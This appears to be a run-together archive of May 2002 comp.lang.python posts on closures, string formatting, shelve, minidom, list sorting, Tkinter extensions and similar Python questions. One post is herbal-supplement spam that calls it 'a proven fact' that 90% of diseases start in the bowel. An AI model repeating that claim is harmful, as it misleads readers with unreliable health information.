layton-graphics.com Wed May 15 14:22:26 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 15 May 2002 14:22:26 -0400 Subject: yet another generator implementation (was Re: how to write function that returns function) References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <wu8z6l5n1p.fsf@hades.layton-graphics.com> <wu1ycd5mjx.fsf@hades.layton-graphics.com> Message-ID: <wusn4t46fx.fsf_-_@hades.layton-graphics.com> Playing around a bit... CL: (defun foo (n) #'(lambda () (incf n))) Python: def foo(n=0): class bar: def __init__(self): self.n = n def next(self): self.n += 1 return self.n return bar().next f = foo() print f(),f(),f() -> 2 3 4 g = foo(1) -> 3 4 5 Arc: ? ;) G From pyth at devel.trillke.net Sat May 4 05:47:17 2002 From: pyth at devel.trillke.net (holger krekel) Date: Sat, 4 May 2002 11:47:17 +0200 Subject: Zombie Threads (?) In-Reply-To: <3CD31A53.EB0EA70F@cascade-sys.com> References: <3CD2BC50.FBAAE423@cascade-sys.com> <20020503164231.GC4604@devel.trillke> <3CD31A53.EB0EA70F@cascade-sys.com> Message-ID: <20020504094717.GF4604@devel.trillke> James J. Besemer wrote: > > holger krekel wrote: > > > you might be interested that the double-fork thing can be done > > in python (on unix only i think): > > Thank you. I know. > > Question was if something similar was necessary or would be effective for > Threads, on Linux. jip. didn't read close enough. Don't have a solution at hand. btw, i believe that threading is an area where there is not much expertise in the python world (compared to many other areas). Recently there was a submission on python-dev regarding a new module http://www.saltillotilestore.com/morethreading.py and it turned out that there weren't that many people knowledgable about python's threads. Probably doesn't help but explains the lack of responses :-) holger From peter at engcorp.com Thu May 16 21:03:40 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 16 May 2002 21:03:40 -0400 Subject: Leading zeroes problem References: <3ce41ce2_1@goliath2.newsgroups.com> Message-ID: <3CE456EC.AA89CC2A@engcorp.com> jb wrote: > > How do I get '00.0' from 0.0. I can say '%03d' % 0 but with floating point > numbers this does not work. The others gave you the right answer, but only Tino pointed you to where you could find the explanations. In any case, the reason what you tried didn't work is that the "3" in the example above represents the _field_ width, not the number of digits. For an integer the field width is the same as the size of the number, but for a float there's also a decimal point and the fractional digits. So 00.0 is really 4 characters wide, thus you need the %04.1f . -Peter From i.linkweiler at gmx.de Wed May 29 04:15:05 2002 From: i.linkweiler at gmx.de (Ingo Linkweiler) Date: Wed, 29 May 2002 10:15:05 +0200 Subject: Python @ Education: What are your problems? Message-ID: <3CF48E09.8C331FEA@gmx.de> Hello, are you using python for teaching programing? I am just writing a diploma paper about python and want to know your experiences with python. What do you like when teaching python? For example: - Easy readable syntax - High Level language - Lists, Tupels, Dictionaries included - interpreter: Everythink can be tested - Many tools available ..... AND MORE IMPORTANT: What are your problems with python? Are pupils/students having any problems or often asked questions? What do you dislike at python? For example: - When teaching C or Pascal, newbies do not know, where to set a ";" and where not. Any similar problems with Python? - Why must I set a ":" after "if" or "for" ? " if x == y : " ..... I hope you have many suggestions. regards, Ingo From tim.one at comcast.net Sun May 12 15:47:54 2002 From: tim.one at comcast.net (Tim Peters) Date: Sun, 12 May 2002 15:47:54 -0400 Subject: making python scripts backwards compatible In-Reply-To: <egzD8.37529$n4.8180609@newsc.telia.net> Message-ID: <LNBBLJKPBEHFEDALKOLCOEAJPFAA.tim.one@comcast.net> [/F] > (if the standard library is the only place where the core deve- > lopers can gain experience from using new language features, > I'm not sure we should add any new language features...) It's not the only way, but it is the best way. Using new features in CVS is the only way we have to get broad x-platform testing before final release, for any meaning of "broad" that isn't ludicrously narrow <wink>. From pyth at devel.trillke.net Tue May 7 18:38:29 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 8 May 2002 00:38:29 +0200 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192158E38@admin56.narex.com> References: <60FB8BB7F0EFC7409B75EEEC13E20192158E38@admin56.narex.com> Message-ID: <20020507223829.GQ4604@devel.trillke> Bjorn Pettersen wrote: > > From: holger krekel [mailto:pyth at devel.trillke.net] > [snip] > > > > Might i ask whether you read my suggestion to > > implement the "smart"-switch at the global module level? > > I'm -1 on this (in case I want to open both regular and read-only > files). You actually want to use the copying version and the in-place version of shelve mixed in one file? I thought that everyone agreed that this is a bugfix ('least astonishment') but we have to be careful to avoid backwards-compatibility problems and that's why we want to switch behaviour? holger From mhammond at skippinet.com.au Fri May 17 20:24:22 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Sat, 18 May 2002 00:24:22 GMT Subject: Registering PythonCOM22.dll fails? References: <3ce26bc3.709282671@news.skynet.be> <3CE2ED59.4040508@skippinet.com.au> <3ce34d31.766991281@news.skynet.be> Message-ID: <3CE59F7E.6000600@skippinet.com.au> henk.derudder at barconet.com wrote: > As PythonCOM22.dll is a COM object It isn't. It is the "manager" for Python implemented COM objects, but it provides no such functionality on its own. As David said, install Python manually, which should be enough to get Python running, and then use a Python script to complete the install, registering COM objects if necessary. This is exactly what the win32all installer does - installs everthing then uses Python itself to finish off. Mark. From s.schwarzer at ndh.net Sat May 18 16:35:42 2002 From: s.schwarzer at ndh.net (Stefan Schwarzer) Date: Sat, 18 May 2002 22:35:42 +0200 Subject: Newbie: print-to-file-Syntax References: <mailman.1021745730.10043.python-list@python.org> Message-ID: <3CE6BB1E.8F2A5A51@ndh.net> Hello Sabine Sabine Richter wrote: > I looked the syntax up in the python doc, but nevertheless, I don't > understand it. What's wrong? > > PROT=open("c:\\existing_dir\\prot.txt",'w') > PROT.write("Written String") > print >> PROT "Printed String" > print PROT "Printed String" > > PROT.close() others have pointed out that you need to add a comma after the name of the file(-like) object. Off-topic-ly, I just wanted to say, that you can use forward slashes in the `open` function, even on Windows: PROT = open("c:/existing_dir/prot.txt", 'w') That's a bit easier to write. :) Stefan From donn at drizzle.com Fri May 24 00:25:54 2002 From: donn at drizzle.com (Donn Cave) Date: Fri, 24 May 2002 04:25:54 -0000 Subject: "casting" Python objects References: <achcu0$j62$1@news.vcd.hp.com> <Xns921712B50E3A7cliechtigmxnet@62.2.16.82> <V1ZG8.9309$352.846@sccrnsc02> <u4rgzzfja.fsf@ctwd0143.fitlinxx.com> <1022131048.609512@yasure> <u7kluh9ye.fsf@ctwd0143.fitlinxx.com> Message-ID: <1022214350.746761@yasure> Quoth David Bolen <db3l at fitlinxx.com>: | "Donn Cave" <donn at drizzle.com> writes: | |> Or, perhaps the right approach doesn't involve inheritance at all! | | Well, I was assuming that the Handler method was just one piece of the | reason why FooMsg was subclassed from jabber.Message (since the | original post was just an excerpt), but you're certainly right that | there are other approaches as well not involving subclassing (such as | the composition someone else posted). Yeah, it's hard to say from here. But I'm thinking that in principle, you'd subclass a jabber.xxx class only if the resulting instance was going _into_ the jabber module, where its inheritance would allow it to function as a Message or whatever in that context. Otherwise it really sounds like a bad idea, and I wonder if people overuse inheritance because it sounds like the OOP thing to do. I think the fact that it posed a problem here is related to the reason why it might not be a good idea. Donn Cave, donn at drizzle.com From aleax at aleax.it Mon May 13 13:12:33 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 17:12:33 GMT Subject: File write/read question References: <78bc9697.0205130907.4288e607@posting.google.com> Message-ID: <5uSD8.52715$zW3.722233@news1.tin.it> Nathan Hellmers wrote: ... > that an integer written to a file is actually a string, but how do I > convert the string to an integer once I have read it with program #2? ... > a = test2.readline() > int(a) Just change this latter, isolated, useless expression statement into a rebinding of a: a = int(a) and there you are. Alex From gerhard at bigfoot.de Fri May 17 22:38:55 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sat, 18 May 2002 04:38:55 +0200 Subject: Zaurus and Python, a good combination In-Reply-To: <GCEDKONBLEFPPADDJCOEKEDEDDAA.whisper@oz.net> References: <834rh7xmp5.fsf@panacea.canonical.org> <GCEDKONBLEFPPADDJCOEKEDEDDAA.whisper@oz.net> Message-ID: <20020518023855.GA25489@lilith.my-fqdn.de> * David LeBlanc <whisper at oz.net> [2002-05-17 19:38 -0700]: > [...] Speaking of power, I saw some mention that the new x-scale arm > processors use less power at 2x the speed of the current arm > processor. Damn - more battery life! :-) My uneducated guess is that the colour LCD is sucking the most energy. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From dan at control.com Fri May 17 11:30:55 2002 From: dan at control.com (Dan L. Pierson) Date: Fri, 17 May 2002 15:30:55 GMT Subject: Embedded Python script debugger??? References: <qjAE8.494039$K52.83658610@typhoon.tampabay.rr.com> <dwCE8.135970$o66.404796@news-server.bigpond.net.au> Message-ID: <m3bsbe94k3.fsf@daystar.control.com> "Neil Hodgson" <nhodgson at bigpond.net.au> writes: > Salman Khilji: > > I don't think there is anything available that bundles this up neatly for > you. If you are on Windows then you could use PythonWin as the basis for > your app but that will be quite a bit of work. You could look at HAP We did this around four years ago. It was indeed quite a bit of work but we cheated and hired Mark Hammond to do the hard PythonWin parts (well worth the cost by the way). If I had to do it over again I'd almost certainly write the app as a Python program with lots of C++ extensions. Doing the entire top level of the GUI in Python would have produced and easier to work on and more consistent result with no noticable slowdown. There were a couple of large custom ActiveX controls involved -- those would have remained in C++. Dan Pierson From fperez528 at yahoo.com Wed May 8 05:09:29 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 08 May 2002 03:09:29 -0600 Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: <abaq59$srk$1@peabody.colorado.edu> Eric Texier wrote: > Is there a guide line for writing cross-platform code in python. I am > dealing with only one os for now but I would like to be sure that I am > using only cross platform code. > Thanks in advance As always, the devil is in the details. But in broad strokes, never call os.system(), os.popen*() [unless you know what you are calling exists everywhere], and do all file handling via shutil or os.path and friends (in particular, use os.path.join liberally). Also don't import modules with obvious os dependencies like win32. For gui stuff, Tkinter isn't the best around but its extremely portable, Qt (via pyqt) is from what I hear very portable and wxpython a bit less (though they seem to be making progress). cheers, f. From db3l at fitlinxx.com Thu May 23 23:08:39 2002 From: db3l at fitlinxx.com (David Bolen) Date: 23 May 2002 23:08:39 -0400 Subject: Questions on list.sort() References: <Pine.GSO.4.05.10205241038550.8002-100000@sparc41> Message-ID: <u1yc2gs3s.fsf@ctwd0143.fitlinxx.com> Geiger Ho <s997659 at ee.cuhk.edu.hk> writes: > Hi all, > > I would like to know is there any difference between the following two > lines of code: > > 1. mylist.sort() > 2. mylist.sort(lambda a, b: cmp(os.path.normcase(a), os.path.normcase(b)) > > where mylist = os.listdir('.') Depends on whether os.path.normcase() would change the case of any of the names returned by os.listdir('.'). The default sort() isn't going to change the contents of the list at all, but simply compare the strings literally. So if you have some uppercase or mixed case filenames then the lambda version would sort differently. If you're asking if the default comparison function is case insensitive for strings, it isn't. E.g.: Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> cmp('A','a') -1 -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From michael at internetdiscovery.com Wed May 1 21:19:20 2002 From: michael at internetdiscovery.com (Mike Clarkson) Date: Thu, 02 May 2002 01:19:20 GMT Subject: Tix Vs Pmw which is better to use? References: <mailman.1020179034.12979.python-list@python.org> Message-ID: <3cd090d0.119424125@test.news.rcn.net> On Tue, 30 Apr 2002 09:50:32 -0500, Gustavo Cordova <gcordova at hebmex.com> wrote: >Hmmm... > >Tix and Pmw attack different domains: Tix is native Tcl/Tk, >and Pmw is a Python attempt to create something akin to Tix >but in Python. The problem is that Python doesn't have access >to Tk internals, like Tix would. The other real advantage of Tix is that the core to a number of the most important widgets is written in C, which is a huge speed difference for things like heirachical lists (trees). Any wrapped Tk solution for this is likely to be painfully slow for large lists. ... >I simply write wrapper classes around the extension widgets >that I use, which work just like normal, ordinarly Tkinter >widgets (Tktable, Tkhtml, and looking for more :-) Do you have Python wrappers for Tktable and Tkhtml? I've been begging for these for ages! If so, would you like to contribute them to the contrib part of tix.souceforge.net so people can find them easily? I'd welcome that. I've been working on a suite of development applications that run with Tk/Tcl or Python using Tix: http://tix.sourceforge.net/Tixapps/ Many thanks, Mike From oldworld at OldWorldHerbs.com Mon May 6 16:41:14 2002 From: oldworld at OldWorldHerbs.com (oldworld at OldWorldHerbs.com) Date: Mon, 06 May 2002 20:41:14 GMT Subject: NOT VIAGRA___Healing Herbs All HERBAL remedies! Message-ID: <KTBB8.50496$9F5.2902790@typhoon.austin.rr.com> Tired of painful cramps? Tired of constant abdominal pain from digestion? Tired of losing focus, or of oversleeping? You can wake up to the news of herbal supplements, www.oldworldherbs.com We have herbal supplements for aqll walks of life: For Women, we have an ANTI-PMS tincture to help with those painful times of the month, For Buisness-people, for studnets, for those (like me) that have to work late, we have a tincture to help you REMEBER what day of the week it is. And lastly for Everybody in the united states, we have a capsuled formula to aid in elimination. 90% of ALL diseases start in the bowel this is a proven fact! Your health is like your car, wait to long to get schedualed maintenance, and you are looking at a massive repair bill, so save your pocketbook from your doctor, and come and see us! www.oldworldherbs.com null From dsavitsk at e-coli.net Sun May 12 21:27:44 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Mon, 13 May 2002 01:27:44 GMT Subject: Python in ASP pages References: <mailman.1021252041.29054.python-list@python.org> Message-ID: <kEED8.13023$d7.4452473@newssrv26.news.prodigy.com> this is a know issue with a few versions of win32all. you should install either an upgrade or a downgrade of the win32all package. -d "Mac Martine" <mac at magusdesigns.com> wrote in message news:mailman.1021252041.29054.python-list at python.org... > I actually got it working, but the content of the page only appears on > the first load. If I reload it, the content goes away, and I get a white > page. I have a link that opens this window, and the same occurs with > that link (the content only appears the first time). It seems that if I > edit the page, and try the link again, or reload, the content appears > again. Very strange. Has anyone run into anything like this? Thanks -Mac > > -----Original Message----- > From: python-list-admin at python.org [mailto:python-list-admin at python.org] > On Behalf Of Uwe Schmitt > Sent: Sunday, May 12, 2002 1:21 PM > To: python-list at python.org > Subject: Re: Python in ASP pages > > Mac Martine <mac at magusdesigns.com> wrote: > | Hi- > | > | - I am on Windows XP. > | > | -I have Python2.2 installed (I think this is different from the > | ActiveState version...i'm new to this, so I'm unclear) > | > afaik the activestate distribution is the only one which configures > the iis so that python is recognized... > | -So, I am trying to run Python code in my ASP pages. I managed to get > | .py files to run in my browser, but I can't get Python code to run in > my > | asp pages. > | > | I'm trying: > | <%@ Language = Python %> > > try <%@ Language=Python %> without the blanks above... maybe it helps.. > > greetings, uwe. > > -- > Dr. rer. nat. Uwe Schmitt ICQ# 159647634 > Uwe.Schmitt at num.uni-sb.de > Universitaet des Saarlandes Angewandte Mathematik > Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken > Mobile:0177/6806587 Fax:+49(0)681/302-4435 > Office:+49(0)681/302-2468 > > > From fperez528 at yahoo.com Tue May 7 15:46:37 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 07 May 2002 13:46:37 -0600 Subject: Result of I need your experience - classification and comparison of languages References: <b9660815.0205070928.79f86983@posting.google.com> Message-ID: <ab9b58$438$1@peabody.colorado.edu> Yvan Radenac wrote: > Hi, > This is the results of the questions i asked few months ago as the > post > "I need your experience - classification and comparison" > The subject of the report is "oriented object languages and their free > implementation". > > First, thank you for your answers. > > You can find, in french, the report at > http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf Hi, I'd love to take a look at it, but you need to rebuild that pdf with non-bitmapped fonts. Sorry but it just looks awful and it will give anyone a headache in 5 minutes. It's not your fault, it's an annoying problem with fonts when making pdf from latex. Here's a piece of the man page for lyxport (http://www-hep.colorado.edu/~fperez/lyxport/lyxport.html#fonts) on this issue. If you used raw latex instead of lyx the same applies. Fonts Normally PDF documents made on Unix-type systems from LaTeX sources produce horrible looking fonts when viewed with Adobe's own Acrobat Reader. I don't know the many intricacies of the problem (you can search for the details on your own). I'll simply list here the trick that has helped me solve the font problem. Try it, your mileage may vary. In your home directory, make (or modify it if it already exists) a file named .dvipsrc which must contain the lines: p+ psfonts.cmz p+ psfonts.amz Make sure that the LaTeX preamble of your LyX file (or the part before \begin{document} if you are using straight LaTeX files) contains: \usepackage[T1]{fontenc} \usepackage{ae,aecompl} This will guarantee that T1 encoded fonts come out looking good in the final PDF. note Paul Hewlett <paulh at cape.issi.co.za> tells me that: ``Selecting the 'pslatex' fonts in Layout->Document->Fonts make the fonts in the resultant pdf document eminently readable.'' Thanks for the tip. Cheers, f. From shalehperry at attbi.com Tue May 14 11:45:21 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 14 May 2002 08:45:21 -0700 (PDT) Subject: RegEx In-Reply-To: <gU9E8.35942$Po6.15792@rwcrnsc52.ops.asp.att.net> Message-ID: <XFMail.20020514084521.shalehperry@attbi.com> On 14-May-2002 Emile van Sebille wrote: > <jar at mminternet.com> >> I have a quick regular expression question. >> >> I'm trying to substute all parathesis -- both left and right -- with a >> space. I've tried: > > > I'm not up on regular expressions, so I'd do: > >>>> s = "(1)(2)(3)(4)" >>>> s.replace("("," ").replace(")"," ") > ' 1 2 3 4 ' > more importantly this might be faster, although I dislike the foo.bar().baz() style of coding used here and would do it on two lines. From bokr at oz.net Thu May 16 21:53:02 2002 From: bokr at oz.net (Bengt Richter) Date: 17 May 2002 01:53:02 GMT Subject: Stupid string formatting question References: <ue8mlv4gvfsc3@corp.supernews.com> Message-ID: <ac1npu$unl$0@216.39.172.122> On Fri, 17 May 2002 01:19:59 -0000, "Michael S. Fischer" <michael+usenet at dynamine.net> wrote: >Why can't I do this? No apparent reason. > > def foo(x): > # Do some operations on x yielding a and b > return a, b > > print "a = %s, b = %s" % (foo(x)) > >It seems counter-intuitive that although foo is defined to return a 2-item >tuple, the interpreter just doesn't get it. > Try posting an example copied and pasted from an interactive session. It looks like you did something else. >>> def foo(x): ... # Do some operations on x yielding a and b ... a = 'eigh-'+x ... b = 'bee-'+x ... return a,b ... >>> x='exx' >>> print "a = %s, b = %s" % (foo(x)) a = eigh-exx, b = bee-exx also, since a tuple is returned >>> print "a = %s, b = %s" % foo(x) a = eigh-exx, b = bee-exx Regards, Bengt Richter From webmaster at apologetyka.com.pl Fri May 3 17:06:38 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Fri, 03 May 2002 23:06:38 +0200 Subject: XML: minidom and problem with getElementsByTagName() Message-ID: <suu5du4l84oe76j25vl825qo32d6bv88d6@4ax.com> I have problems with parsing the following easy xml tree using Python. The problem is minidom (I am using) go to deep for children nodes. My example xml is: <main> <book> <nr>first</nr> <chapter> <nr>a</nr> <txt>blah</txt> </chapter> <chapter> <nr>b</nr> <txt>blah</txt> </chapter> </book> <book> <nr>second</nr> <chapter> <nr>a</nr> <txt>blah</txt> </chapter> <chapter> <nr>b</nr> <txt>blah</txt> </chapter> </book> </main> I wrote: from xml.dom import minidom doc = minidom.parse('myfilename.xml') nodeBook = doc.getElementsByTagName('book') for nodeNr in nodeBook.getElementsByTagName('nr'): print nodeNr.firstChild.data I got 'first', 'a'. I wanted: 'first', 'second'. It seems to work as XPath for '//nr' but I want only 'nr'. It means, I want to get all nodes at the current level NOT to every descendants. :-( Can I make minidom for getting childeren nodes without recursion? Do getElementsByTagName() method works always with recursion??? -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From lac at strakt.com Wed May 15 10:30:38 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 15 May 2002 16:30:38 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from Max M <maxm@mxm.dk> of "Wed, 15 May 2002 08:20:32 +0200." <3CE1FE30.3060803@mxm.dk> References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> <abnqdd$8bf$1@slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0@posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> Message-ID: <200205151430.g4FEUcrW013511@theraft.strakt.com> Max M > > > If buildings were built like computer programs, every > > building would be unique, not quite like any other > > building ever built before, and using experimental > > new materials and building techniques. And before > > we'd got all the bugs out of one building, we'd be > > charging ahead with the next one. Under those > > conditions, I don't think the building industry would > > have much of a reputation for reliability in their > > products! > > > Bridge building is much simpler than programming. For one thing the > customer knows what they want. They choose one bridge from one of > several in a competition. A model of the bridge can be built in > Cardboard so it can be seen. > > And when the bridge is halfway done the customeres rarely asks for the > bridge to be 10 meters longer and with 4 lanes instead of 3. > > If we only made the same kind of software for years and had been thought > in school exactly how to build that kind of software I would bet that it > would be great software. Computer Programmers need to go out drinking with Civil Engineers more often. They will then get to listen to Civil Engineering students say things like: Programming is much simpler than Bridge Building. For one thing, the programmer only has to deal with mathematical forms, and the products of his own mind. Programs are not subject to physical laws, or even geometric ones, all avenues are open to the creativity of the programmer. Moreover, real-life concerns rarely influence the programmer. A new government council, a change in suppliers, and the inevitable changes in design that happens when one actually begins physical construction, and hidden defects in one's design comes to light never bother the programmer. There are no sudden requirements to use one algorithm rather than another. If we only made the same kinds of bridges for years, and did not design new ones every time, in the way that computer programmers reply on well tested software libraries, and do not reinvent software all the time then I bet we would make great bridges, rather than the compromised designs we do now. -------- I move we spend more time in bars with members of other professions that have to design things in the search for common understanding of problems of design. This 'is it an Art?/ is it a Science?/ Poof it's Engineering!' debate goes on wherever designers discuss what they do. It's better with beer. Laura Creighton From andy47 at halfcooked.com Sun May 19 20:06:58 2002 From: andy47 at halfcooked.com (Andy Todd) Date: Mon, 20 May 2002 00:06:58 +0000 (UTC) Subject: Gadfly-1.0rc1 Errors References: <mailman.1021743631.11940.python-list@python.org> <ac6vhh$o8a$1@nntp9.atl.mindspring.net> <mailman.1021773512.16949.python-list@python.org> Message-ID: <Xns921466CD4B769andy47halfcookedcom@203.109.252.31> Richard Jones <rjones at ekit-inc.com> wrote in news:mailman.1021773512.16949.python-list at python.org: > On Sun, 19 May 2002 11:24, Andrew Dalke wrote: >> David LeBlanc: >> >This is not failing because a file is open imo; it's failing because >> > you're trying to remove an non-empty directory. Windows won't do that >> > directly. It would be nice if shutils.rmtree took an '-f' flag analgous >> > to the force >> >> flag >> >> >of rm on Unix and did the right thing on windows, which is delete all the >> >files in the selected dir(s) and then deleted the directory(s). >> >> Doesn't shutil.rmtree do exactly that? > > Yep. I've modified the CVS so the test closes the db before removing the dir. > Hopefully this will fix the failures - but I can't test it. > > > Richard > > > Better late than never, I've just tested the fixes and all is now working. >From the latest CVS code; """ E:\Work\gadfly>python run_tests not running kjbuckets C module test .................................................................. ---------------------------------------------------------------------- Ran 66 tests in 54.369s OK """ Regards, Andy -- Contents free posts a speciality From ruediger.maehl_nospam at web.de Thu May 30 08:02:38 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Thu, 30 May 2002 14:02:38 +0200 Subject: How to concatenate list members Message-ID: <newscache$qjaxwg$b4i$1@www-neu.dzsh.de> Hello Pythoneers, I would like to concatenate all members of a list of strings. How can I do that? I know, I can use a for loop over all elements and concatenate them to one string. But is there another more efficient solution? R?diger # =========================================== def concat1(alist, sep=" "): res = "" for e in alist: res += str(e) res += sep return res[:-1] a = ["200100002", "200100003", "200100004"] # many many more to come ... b = concat1(a, "_") print b # and b then looks like this: # "200100002_200100003_200100004" From kragen at pobox.com Fri May 17 04:26:18 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 04:26:18 -0400 Subject: "Inserting" a line in a text file? References: <ab9duj$dre$1@newsg4.svr.pol.co.uk> <mailman.1020805395.9170.python-list@python.org> <ab9gnu$g5muf$1@ID-99293.news.dfncis.de> <MPG.17431487e03e19da9896da@news.nwlink.com> <3CDA0030.22FBD3C4@engcorp.com> Message-ID: <83offfw579.fsf@panacea.canonical.org> Peter Hansen <peter at engcorp.com> writes: > I wonder whether a journalling/logging file system would support > an insertion operation *without* the need to rewrite the whole file. > I know you can overwrite portions of the file without touching > the current content (it appends an operation recording that a range > has been overwritten) and you can append easily, but do they > understand insertion? Typical log-structured filesystems don't support insertion and deletion, but a log-structured filesystem could indeed support these operations in an efficient manner. From marklists at mceahern.com Thu May 23 15:07:02 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 23 May 2002 14:07:02 -0500 Subject: Package __init__ question In-Reply-To: <GCEDKONBLEFPPADDJCOEKEGNDEAA.whisper@oz.net> Message-ID: <NCBBLFCOHHDIKCAFGCFBOEBNLBAA.marklists@mceahern.com> [David LeBlanc] > I downloaded a package - let's call it "fumble" - and when I installed it, > it put itself into site-packages directly and not a sub-directory of it. <snip> > Is this the correct way that packages are meant to work? Package authors *should* setup a folder in site-packages rather than dumping their contents into the root. But, they don't have to. Other than providing feedback to the package author or changing it yourself, I'm not sure there's much else you can do. You probably know this, but just in case others reading it don't: This is all governed by distutils. Cheers, // mark From cbrown at metservice.com Thu May 9 16:47:18 2002 From: cbrown at metservice.com (Colin Brown) Date: Fri, 10 May 2002 08:47:18 +1200 Subject: Python Service References: <QIfC8.129$lc.32@nwrddc03.gnilink.net> Message-ID: <3cdae0c5$1@news.nz.asiaonline.net> "Q" <emailoffline at hotmail.com> wrote in message news:QIfC8.129$lc.32 at nwrddc03.gnilink.net... > I want to convert a Python Script to run as an NT Service. ... > Can anyone provide ideas? > > Thanks. Hi Q I have been using a commercial product "ServiceMill" available from www.activeplus.com to run Python and Delphi applications as NT Services with no problems. Colin Brown PyNZ From quitelikely at yahoo.com.au Wed May 1 06:12:21 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 01 May 2002 20:12:21 +1000 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> <mailman.1020240425.31988.python-list@python.org> <WeOz8.36332$8D3.1056495@news1.tin.it> Message-ID: <82d6wgi3cq.fsf@acropolis.localdomain> Alex Martelli <aleax at aleax.it> writes: > I just hope I'll be in one of my time-management-necessitated > periods of abstinence from this group next time some newbie > arrogantly and querulously teaches us why Python should have > [a] explicit block delimiters, [b] join as a method of all the > possible sequences and not of joiner-objects, [c] hygienic > macros, [d] booleans -- I'd like to add an [e] proposed, ironically, by one of this thread's more vocal participants (amidst 800-odd lines of rhetorical exhibitionism, juvenile muscle-flexing and snide remarks): [e] A ternary operator of the form: x = ( if 'superfluity' > 'ugliness' : 'insane' else: 'unpythonic' ) From marklists at mceahern.com Wed May 8 12:30:41 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 11:30:41 -0500 Subject: Comments In-Reply-To: <XFMail.20020508092042.shalehperry@attbi.com> Message-ID: <NCBBLFCOHHDIKCAFGCFBCEMHKOAA.marklists@mceahern.com> [Sean 'Shaleh' Perry] > Sure, but comments are basically free whereas the above creates > an anonmymous string which has to be garbage collected. Good point! Thanks. By the way, in emacs with python mode, you can select a region and comment/uncomment it. Commenting a block simply prepends ## to each line in the block. Nifty! Cheers, // mark From aleax at aleax.it Sat May 11 05:33:54 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 09:33:54 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> <3CDB3AB2.12C5680F@cosc.canterbury.ac.nz> <3CDBE586.A81BA732@fnal.gov> <MPG.1745ba8543a001059896db@news.nwlink.com> Message-ID: <6A5D8.30090$CN3.920263@news2.tin.it> Jeff Shannon wrote: ... > *need* to reindent code anyhow, to make it comprehensible, so > complaining that Python requires that is silly. Just to play devil's advocate: in VStudio, I just hilighted any block, hit an Fkey, and the block got laid out reasonably, including any nested blocks &c. The editor could do that because it relied on braces to demarcate blocks, of course. Lacking those _is_ a (tiny) handicap coming from not requiring block-demarcation (I still think it's a big win overall, but let's give the devil its due too). > (Besides, back when I used to do C++, when I refactored I always > had to spend time doublechecking that both the moved code and the > area it was cut from had the proper number of braces. At least > with indenting, the issue is easily visible. Find-matching-paren makes short work of that. If anything, the problems with refactoring in C++ or Java come from their horrid choice of leaving this / self *IMPLICIT* -- so a reference to any name X may or may not mean self.X / this->X and the poor editor can hardly help you with THAT as you move code between classes (or, in C++, from in-class to out-of-class)... Alex From kragen at pobox.com Mon May 13 14:17:52 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 14:17:52 -0400 Subject: [Newbie Question] Matching directory content with variable References: <h1ajba.ni5.ln@news.marcus1.de> Message-ID: <83it5rkj3j.fsf@panacea.canonical.org> Marcus Klein <marcus1 at marcus1.de> writes: > I am trying to match a directory content with a variable to avoid > overwriting an existing file and it does not work. Be aware case-insensitivity may bite you; os.path.exists() will help with that. Be aware also that race conditions may bite you; the file may be created between when you check whether it exists and when you start writing to it, which sometimes creates security holes. From listuser at nicetomeetyou.to Wed May 15 15:58:41 2002 From: listuser at nicetomeetyou.to (Markus) Date: Wed, 15 May 2002 21:58:41 +0200 Subject: How to create a web interface for a daemon written in Python? References: <aboknd$o52$00$1@news.t-online.com> Message-ID: <abuelm$ajr$01$1@news.t-online.com> Markus wrote: > Can anybody give me a hint about the best way to do this? 